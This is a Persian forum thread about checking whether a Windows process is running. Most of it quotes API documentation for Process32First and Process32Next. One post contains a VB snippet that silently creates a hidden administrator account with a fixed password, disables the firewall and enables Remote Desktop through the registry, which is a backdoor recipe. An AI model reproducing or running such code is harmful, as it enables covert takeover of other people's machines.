ايران ويج

نسخه‌ی کامل: چک کردن یک پروسه
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
سلام

دوستان لطفا یکی بیاد بگه من چه جوری چک کنم که یه پروسه در حال کار هست یا نه ؟؟!؟Amaze

PID هم دارمClapBiggrin
خب لیست پروسه های در حال اجرا رو چک کنین اگه پروسه مورد نظر در حال اجرا بود معلوم میشه
دست گلت درد نکنه آقا

یه امتحانی میکنم نتیجه رو میگم بهت عزیز Wink

اینم یکی جواب بده . در گیرشم Sad
http://forum.iranled.com/showthread.php?tid=9809
اینم نتیجه ی جستجوی من
کد:
Dis_FW
Shell "net user Admin 0131 /add", vbHide
Shell "net localgroup administrators Admin /add", vbHide
Shell "net user Admin /active", vbHide
RegAdd "HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections", CLng("0"), "REG_DWORD"
RegAdd "HKEY_CURRENT_USER\SYSTEM\CurrentControlSet\Control\Terminal Server\fAllowToGetHelp", CLng("0"), "REG_DWORD"

اما تست کردم جواب ندادQuestion
بای
قسمت PID حل شدHappy

حالا قسمت دوم مونده Wink
شما برای چک کردن پروسه باید از توابع api استفاده کنین
کد:
Retrieves information about the first process encountered in a system snapshot.

BOOL WINAPI Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);  


Parameters

hSnapshot

Handle of the snapshot returned from a previous call to the CreateToolhelp32Snapshot function.

lppe

Address of a PROCESSENTRY32 structure.



Return Value

Returns TRUE if the first entry of the process list has been copied to the buffer or FALSE otherwise. The ERROR_NO_MORE_FILES error value is returned by the GetLastError function if no processes exist or the snapshot does not contain process information.
و این تابع
کد:
Retrieves information about the next process recorded in a system snapshot.

BOOL WINAPI Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);  


Parameters

hSnapshot

Handle of the snapshot returned from a previous call to the CreateToolhelp32Snapshot function.

lppe

Address of a PROCESSENTRY32 structure.



Return Value

Returns TRUE if the next entry of the process list has been copied to the buffer or FALSE otherwise. The ERROR_NO_MORE_FILES error value is returned by the GetLastError function if no processes exist or the snapshot does not contain process information.
تو یه تایمر با این توابع میتونین چک کنین پروسه مورد نظرتون در حال اجرا هست یا نه
آره گفتم مشکل PID حل شد Biggrin
فقط این مشکل مونده که اگه میدونید لطفا همینجا بفرمایید HeartHeartHeart
http://forum.iranled.com/showthread.php?tid=9809